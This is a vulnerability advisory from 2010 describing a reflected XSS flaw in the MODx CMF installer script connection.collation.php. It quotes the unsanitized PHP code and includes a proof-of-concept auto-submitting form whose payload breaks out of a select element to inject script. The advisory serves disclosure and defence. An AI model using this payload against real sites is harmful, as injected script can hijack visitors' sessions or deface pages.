Html tags were removed from the advisory during the submission process. Hopefully the following advisory will correct this.
Title: MODx Installation File XSS Vulnerability
Vendor: MODx
Product: MODx CMF
Tested Versions: 1.0.3, 1.0.4
Threat Class: XSS
Severity: Medium
Remote: yes
Local: no
Discovered By: Andrei Rimsa Alvares
===== Description =====
MODx CMF is prone to a XSS vulnerability caused by unsanitized user input data. The bug occurs in a file used in the installation process. A description of the affected file is shown below:
--- install/connection.collation.php ----
01: <?php
...
06: $database_collation = $_POST['database_collation'];
...
08: $output = '<select id="database_collation" name="database_collation">
09: <option value="'.$database_collation.'" selected >'.$database_collation.'</option></select>';
...
23: echo $output;
24: ?>
--- install/connection.collation.php ----
The variable $database_collation (line 6) receives user data via http post request and gets propagated to variable $output (line 9) without proper sanitization. Later the $output variable is outputted to the page in every program path causing the bug (line 23).
===== Impact =====
Malicious java script code can be executed in the context of the affected web site.
===== Proof of Concept =====
<form action="http://target/install/connection.collation.php"; name="evil" method="post">
<input type="hidden" name="database_collation" value="</option></select><script>window.alert(String.fromCharCode(88,83,83));</script>" />
</form>
<script>
document.evil.submit();
</script>
===== Workaround =====
Remove all installation files after MODx is successfully installed.
===== Disclosure Timeline =====
June, 16 2010 - Vendor notification.
July, 07 2010 - No vendor reply. Public disclosure.
===== References =====
http://modxcms.com
